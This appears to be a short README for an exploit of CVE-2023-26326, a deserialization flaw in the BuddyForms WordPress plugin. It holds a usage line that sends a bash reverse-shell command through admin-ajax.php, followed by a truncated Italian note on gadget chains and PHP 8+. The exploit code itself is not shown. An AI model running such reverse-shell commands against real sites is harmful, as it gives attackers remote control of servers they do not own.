CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Inizialmente, CVE-2023–26326 richiedeva catene di gadget per essere sfruttata come vulnerabilità di deserializzazione. Questo metodo non è più fattibile sui siti WordPress più recenti che eseguono PHP 8+;...